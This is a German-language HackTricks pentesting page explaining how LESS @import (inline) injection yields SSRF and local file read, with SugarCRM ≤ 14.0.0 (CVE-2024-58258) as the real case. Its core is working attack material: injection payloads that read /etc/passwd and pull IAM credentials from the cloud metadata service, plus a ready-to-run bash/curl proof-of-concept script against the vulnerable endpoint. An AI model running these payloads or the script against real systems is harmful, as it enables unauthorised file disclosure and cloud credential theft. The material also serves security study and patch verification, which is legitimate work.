LESS Code Injection führt zu SSRF & Local File Read
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
LESS ist ein populärer CSS-Pre-processor, der Variablen, Mixins, Funktionen und die mächtige @import-Direktive hinzufügt. Während der Kompilierung wird die LESS-Engine die in @import-Anweisungen referenzierten Ressourcen abrufen und deren Inhalte in das resultierende CSS einbetten (“inline”), wenn die (inline)-Option verwendet wird.
Wenn eine Anwendung user-controlled input in eine Zeichenkette konkatenieren, die später vom LESS-Compiler geparst wird, kann ein Angreifer beliebigen LESS-Code injizieren. Durch Missbrauch von @import (inline) kann der Angreifer den Server zwingen, abzurufen:
- Lokale Dateien über das
file://-Protokoll (information disclosure / Local File Inclusion). - Remote resources on internal networks or cloud metadata services (SSRF).
Diese Technik wurde in realen Produkten wie SugarCRM ≤ 14.0.0 (/rest/v10/css/preview endpoint) beobachtet.
Ausnutzung
- Identifiziere einen Parameter, der direkt in eine Stylesheet-Zeichenkette eingebettet wird, die von der LESS-Engine verarbeitet wird (z.B.
?lm=in SugarCRM). - Schließe die aktuelle Anweisung und injiziere neue Direktiven. Die gebräuchlichsten Primitive sind:
;– beendet die vorherige Deklaration.}– schließt den vorherigen Block (falls erforderlich).
- Verwende
@import (inline) '<URL>';um beliebige Ressourcen zu lesen. - Optional injiziere einen marker (
data:URI) nach dem Import, um das Extrahieren des abgerufenen Inhalts aus dem kompilierten CSS zu erleichtern.
Lokales Dateilesen
1; @import (inline) 'file:///etc/passwd';
@import (inline) 'data:text/plain,@@END@@'; //
Der Inhalt von /etc/passwd wird in der HTTP-Antwort direkt vor dem @@END@@ Marker erscheinen.
SSRF – Cloud Metadata
1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
@import (inline) 'data:text/plain,@@END@@'; //
Automatisierter PoC (SugarCRM-Beispiel)
#!/usr/bin/env bash
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd
TARGET="$1" # Base URL of SugarCRM instance
RESOURCE="$2" # file:// path or URL to fetch
INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")
curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
sed -n 's/.*@@END@@\(.*\)/\1/p'
Reale Fälle
| Produkt | Anfälliger Endpoint | Auswirkung |
|---|---|---|
| SugarCRM ≤ 14.0.0 | /rest/v10/css/preview?lm= | Nicht authentifiziertes SSRF & lokales Dateilesen |
Referenzen
- SugarCRM ≤ 14.0.0 (css/preview) LESS Code Injection Vulnerability
- SugarCRM Security Advisory SA-2024-059
- CVE-2024-58258
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
HackTricks

